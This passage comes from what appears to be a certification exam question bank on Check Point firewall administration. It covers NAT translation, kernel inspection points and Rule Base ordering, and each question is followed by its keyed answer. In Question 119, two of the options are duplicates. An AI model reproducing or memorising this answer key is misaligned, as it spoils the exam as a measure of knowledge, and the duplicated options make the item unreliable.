In SmartDashboard, Translate destination on client side is checked in Global Properties. When Network Address Translation is used:
A. It is necessary to add a static route to the Gateway’s routing table.
B. The Security Gateway’s ARP file must be modified.
C. It is not necessary to add a static route to the Gateway’s routing table.
D. VLAN tagging cannot be defined for any hosts protected by the Gateway.
Correct Answer: C QUESTION 118
Static NAT connections, by default, translate on which firewall kernel inspection point?
A. Post-inbound
B. Eitherbound
C. Inbound
D. Outbound
Correct Answer: C QUESTION 119
In a Hide NAT connection outbound, which portion of the packet is modified?
A. Source IP address and destination port
B. Destination IP address and destination port
C. Source IP address and source port
D. Destination IP address and destination port
Correct Answer: C QUESTION 120
You are MegaCorp’s Security Administrator. There are various network objects which must be NATed. Some of them use the Automatic Hide NAT method, while others use the Automatic Static NAT method. What is the order of the rules if both methods are used together? Give the best answer.
A. The Administrator decides on the order of the rules by shifting the corresponding rules up and down.
B. The Static NAT rules have priority over the Hide NAT rules and the NAT on a node has priority over the NAT on a network or an address range
C. The Hide NAT rules have priority over the Static NAT rules and the NAT on a node has priority over the NAT on a network or an address range
D. The position of the rules depends on the time of their creation. The rules created first are placed at the top; rules created later are placed successively below the others.
Correct Answer: B QUESTION 121
Which answers are TRUE? Automatic Static NAT CANNOT be used when: i) NAT decision is based on the destination port ii) Source and Destination IP both have to be translated iii) The NAT rule should only be installed on a dedicated Gateway only iv) NAT should be performed on the server side
A. (i), (ii), and (iii)
B. (i), and (ii)
C. (ii) and (iv)
D. only (i)
Correct Answer: D QUESTION 122
After filtering a fw monitor trace by port and IP, a packet is displayed three times; in the i, I, and o inspection points, but not in the O inspection point. Which is the likely source of the issue?
A. The packet has been sent out through a VPN tunnel unencrypted.
B. An IPSO ACL has blocked the outbound passage of the packet.
C. A SmartDefense module has blocked the packet
D. It is an issue with NAT
Correct Answer: D
QUESTION 123
A marketing firm’s networking team is trying to troubleshoot user complaints regarding access to audio-streaming material from the Internet. The networking team asks you to check the object and rule configuration settings for the perimeter Security Gateway. Which SmartConsole application should you use to check these objects and rules?
A. SmartView Tracker
B. SmartView Status
C. SmartView Monitor
D. SmartDashboard
Correct Answer: D
QUESTION 124
Which of the following is a viable consideration when determining Rule Base order?
A. Grouping authentication rules with address-translation rules
B. Grouping rules by date of creation
C. Grouping reject and drop rules after the Cleanup Rule
D. Grouping functionally related rules together
Correct Answer: D
QUESTION 125
Which of the following is a viable consideration when determining Rule Base order?
A. Adding SAM rules at the top of the Rule Base
B. Placing frequently accessed rules before less frequently accessed rules
C. Grouping rules by date of creation
D. Grouping IPS rules with dynamic drop rules
Correct Answer: B
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